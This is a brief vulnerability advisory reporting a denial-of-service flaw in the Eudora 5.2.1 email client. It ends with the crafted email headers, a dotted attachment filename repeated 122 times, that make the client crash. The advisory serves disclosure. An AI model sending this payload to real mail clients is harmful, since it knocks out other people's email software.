      Eudora DoS (Dotted Filename)


    Qualcomm Inc.'s <http://www.eudora.com/> Eudora is "a graphical e-mail
    client for Windows and Macintosh". A vulnerability in the product allows
    remote attackers to cause the product to crash by sending it a specially
    crafted filename.


    Vulnerable systems:
     * Eudora version 5.2.1

    Sending an email with the following syntax:

      From: me
      To: you
      Attachment Converted<CR>: "\B.A.A.A ... .A.A.A"

    (With 122 repetitions of ".A") causes Eudora to crash.
